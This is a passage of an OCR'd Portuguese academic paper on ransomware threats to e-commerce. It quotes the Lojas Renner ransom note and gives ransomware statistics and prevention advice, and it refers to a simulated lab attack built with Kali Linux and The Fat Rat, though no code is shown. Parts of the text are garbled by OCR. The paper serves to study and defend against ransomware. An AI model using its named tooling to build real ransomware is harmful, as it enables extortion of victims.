base de dados das Lojas Renner, que foi invadida no dia 19/08/2021, de acordo com
o G1. Foi feito um suposto pedido de “resgate” na forma de bitcoin, moeda digital

criptografada.

Figura 12: Suposto pedido de resgate de dados Renner

x| 1_RENNER_README ! - Notepad
 File Edit Format View Help n :

Hello, Lojas Renner S.A. (lojasrenner.com.br)!First of all it is just a business and the only thing we are interested
in is money.Your files were encrypted.Please don't try to modify or rename any of encrypted files, because it can
result in serious data loss and decryption failure.Here is your personal link with full information regarding this

| accident (use Tor browser):http://rn5m777cdsjr‘sdlbsAquoeppqux65b2igmh53jzrx7ip(r~bjz$b23d.onion/57915183c36d4e2cg3396cdt

Fonte: INTERNATIONALIT, 2021.

4 Resultados e discussoes

Entendemos o que € o e-commerce, como ele funciona, quais os tipos de
mercado existentes no Brasil e no mundo e como identificar um ataque virtual,

simulando uma insercéo do virus ransomware nesse tipo de plataforma.
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Se tracarmos um paralelo entre a quantidade de vendas pelo e-commerce e as

tentativas de ataques por variacdes de ransomwares, vemos que existe uma certa

similaridade na curva sempre ascendente dos dois gréficos, mostrados a seguir.

Figura 13: Faturamento do e-commerce no Brasil em 10 anos

100
30
80

70

Em bhilhGes de reais

2011 2012 2013 2014 2015 2016 2017 2018

2019

Fonte: Elaborado pelo autor, com base em ECOMMERCEBRASIL, 2021.
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O crescimento do faturamento das plataformas de e-commerce € linear entre

2011 até 2019. No ano de 2020 as vendas aumentaram em média 50%, em relagéo

ao ano anterior.

Figura 14: Maiores tipos de ransomwares identificadas anualmente.
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Os ataques ransomware renderam a hackers pelo menos US$ 350 milhdes
(quase R$1,9 bilhdo, em converséo direta) em 2020, um aumento de 311% de volume
se comparado a 2019, de acordo com relatério da Chainalysis. A empresa de
blockhain obteve os numeros depois de monitorar transacdes feitas para enderecos
ligados a ataques desse tipo.

Como mostrado no topico 3, é sugerido como um usuario de uma plataforma
de e-commerce pode se prevenir para garantir a seguranca dos dados de seu
computador, e o presente estudo permitiu concluir que as normas de politicas de
seguranca tém como principios basicos a integridade, confidencialidade e
disponibilidade de cada informac&o. Se as diretrizes destas politicas de seguranca
forem aplicadas nas empresas, podem tornar as redes mais seguras contra 0S
ataques cibernéticos como, por exemplo, na prevencdo de malwares, apresentado
neste aqui.

Neste trabalho, foi mostrado como atacar um computador por meio de um
ransomware, o qual € um tipo de virus onde ha um consenso sobre seu “modus
operandi”. De acordo com Novaes (2014c) e CISO ADVISOR(2020), esse tipo de virus
sequestra determinados arquivos ou todo um banco de dados de suas vitimas, que
sdo, em sua maioria, empresas. No ataque simulado, foi utilizado o sistema
operacional Kali Linux, por meio da ferramenta The Fat Rat, sendo elencado um passo
a passo para criar um virus do tipo ransomware. Os ataques de ransomware
criptografam os arquivos da maquina alvo, seguido por um pedido de extorsdo, na
maioria das vezes criptomoedas, que € um tipo de moeda virtual, dificil de ser
rastreado, mas nao impossivel.

Esse tipo de pagamento € ideal para invasores que desejam permanecer
andnimos. Outras formas de pagamento podem incluir forgar os usuéarios a comprar
produtos no site, clicar em links etc., para que os invasores possam lucrar com essas
interacdes. Com o aumento dos ataques de ransomware, a demanda média de
resgate aumentou de $294 ddlares em 2015 para quase $1.077 dolares no final de
2016, um aumento substancial de quase 266% em apenas um ano. Na mesma linha
do tempo, o nimero de ataques de ransomware aumentou de 18% em janeiro de 2016
para aproximadamente 66% em novembro de 2016.

Esses valores, assim como a quantidade de ransomwares, sO aumenta ao
passar dos anos, conforme mostrado na figura a seguir.

Figura 15: Valor de criptomoeda recebido entre 2013 e 2021
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Fonte: Elaborada pelo autor, com base em Chainalysis, 2021.

Em seu artigo, Nadir (2018) fala sobre a importancia da estratégia de backup
gue as empresas precisam ter, porque um ataque de ransomware bem-sucedido se
resume a esta questao: pagar o resgate? Além disso, os dados podem ser restaurados
apos o pagamento? Que garantia o usuario tem de que os cibercriminosos fornecerao
a chave que pode descriptografar os dados com sucesso depois de pagar o resgate?
O ransomware WannaCry é um exemplo de tal problema porque o ransomware nao
consegue associar o ID ao pagador do resgate. Portanto, mesmo apds o pagamento,
os dados da vitima n&o sdo recuperados em muitos casos. O ransomware WannaCry
mais recente € um exemplo desse tipo de problema, em que o ransomware nao
consegue associar o ID ao pagador do resgate. Ainda de acordo com Nadir (2018),
mesmo apos o0 pagamento, os dados da vitima nunca séo recuperados.

Conforme o relatério de seguranca da Symantec, aproximadamente 34% das
vitimas em todo o mundo pagam resgate. A média nos Estados Unidos é bastante
alta, com 64% das vitimas dispostas a pagar. "O pagamento do resgate incentiva 0s
ataques e, com isso, aumenta os ataques de ransomware. Portanto, € recomendavel
nao pagar o resgate. Nadir (2018) listou alguns motivos convincentes para 0 nao
pagamento da seguinte forma:

° A medida que as vitimas pagam o resgate, o modelo de negdcios basico
por tras do ransomware depende e continua a evoluir. Se vocé ndo pagar, o0 modelo

de negdcios entrard em colapso.
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° Apesar do pagamento, ndo ha garantia de que a vitima ndo consiga
recuperar os dados.

) Uma vez que o pagamento é€ feito, o atacante conhece a vulnerabilidade
da vitima e a capacidade de fazer métodos de pagamento. Portanto, a possibilidade
de ataques a mesma vitima no futuro ndo pode ser descartada.

O surgimento de tecnologias como a Internet das Coisas (loT) significa que o
namero de ataques continuara a aumentar, ja que os invasores de dispositivos online
mais vulneraveis irdo gerar esquemas adicionais para forcar os usuarios a pagar
resgates para normalizar servicos (NADIR, 2018), na tabela a seguir € mostrado os 5
maiores paises onde o virus mais se alastrou em 2021.

Tabela 5: Os 5 maiores paises mais atacados pelo ransomware.

Paises mais atacados Quantidade de ataques Onde foi/onde achei

Estados Unidos 227.266.604 Setor tecnologia,
transporte e educagéo.

Reino Unido 14.603.315 Hospitais e redes de
saude, extorsao tripla.
(criptografam dados,
ameacam publicar on-line,
chantagear clientes).

Alemanha 11.056.163 Governo e Varejo
Africa do Sul 10.574.800 Setor privado
Brasil 9.11.409 Pequenas organizacbes é

o foco, dupla extorséo.
(criptografam dados,
ameacam publicar on line)

Fonte: Elaborado pelo autor, com base em SONICWALL, 2021.

Portanto, pesquisas envolvendo teste de invasdes a empresas e pessoas nao
podem ser realizadas porque, mesmo para fins de pesquisa, podem ser consideradas
crime de extorséo, de acordo com o artigo 158 do cédigo penal brasileiro e a aplicagéao
de multas com a LGPD. A fim de atacar sem causar danos reais a maquina do usuario,
muitas pessoas podem rejeitar os testes porque temem que ele realmente infecte sua
maquina e faca com que percam seus arquivos, € muitos outros simplesmente néo

estéo dispostos a criar um ambiente para realizar o ataque.
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Concluiu-se que os resultados deste trabalho foram satisfatérios, pois atingiram
0s objetivos. Para continuidade deste trabalho, sugere-se:

e Elaborar um passo a passo de como atacar uma maquina utilizando WI-FI.
e Elaborar ataques ransomware por meio de phishing.

O exercicio de deteccao de fraudes em operacdes de e-commerce € um campo
de estudo confidencial e ainda com pouca divulgacéo publica dos resultados obtidos
por empresas comerciais. Um procedimento relevante para lidar com este tipo de
problema é a adocdo de andlise de agrupamentos. Neste contexto, analise de
agrupamentos € o nome para um grupo de técnicas multivariadas, cujo objetivo
essencial é agregar objetos com base nas caracteristicas que eles possuem.

A seguranca é, entdo, um quesito que precisa de atencdo e tem sido foco de
grandes investimentos para manutencdo e melhorias. E preciso que os clientes se
sintam protegidos para realizar suas compras online e confiem no sigilo oferecido pela
plataforma. Um passo importante € obter uma certificacdo com as chamadas
“autoridades certificadoras”, que fornecem um tipo de “selo verificador”. Através dele,
o consumidor podera ter certeza de que esta informando seus dados para um site

conhecido e registrado através de um processo mais confiavel.

5 Concluséo

Apresentamos neste trabalho a compreensao da existéncia de varios tipos de
e-commerce no mercado brasileiro e mundial, como operam no comércio atual e foi
mostrado uma simulacdo de um ataque de ransomware, como exemplo, nhuma
maquina virtual utilizando o sistema operacional Kali Linux, por meio da ferramenta

The Fat Rat, sendo elencado um passo a passo para a criagdo de um ransomware.

Os ataques de ransomware criptografam os arquivos da maquina alvo, seguido
por um pedido de extorsdo, na maioria das vezes criptomoedas, que é dinheiro virtual,
dificil de ser rastreado, mas ndo impossivel. Existem empresas que fazem
monitoramentos de transagcbes com criptomoedas. Por exemplo, a empresa
Chainalysis, que presta consultoria, analise e inteligéncia voltada para blockchains,
gue sao registros de dados descentralizados e compartilhados com seguranca nas

transacoes de moedas virtuais.
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Ou seja, faz registros de operacdes de moedas virtuais de forma confiavel e
imutavel, tornando transacdes de criptomoedas rastreaveis e localizaveis. Neste
trabalho também foi descrito como se prevenir contra um ataque de ransomware.
Mesmo assim, caso seja atacado por um ransomware, é preciso contratar uma
empresa de seguranca, especializada em combate a ransomware, para tentar

descriptografar os arquivos criptografados.

Conclui-se que os resultados obtidos neste trabalho foram satisfatérios, pois
atingiram os objetivos. Como pesquisa futura, pretende-se desenvolver novos
laboratoérios de ataque, mas usar novas e diferentes para que se possa verificar 0s
danos que causam e como 0S usuarios podem prevenir e agir quando sao atacados
por ransomware. O desenvolvimento desses laboratorios ajudard a analisar
detalhadamente cada tipo de ransomware, sua maneira de ataque e as especificacoes

de comportamento do autor.
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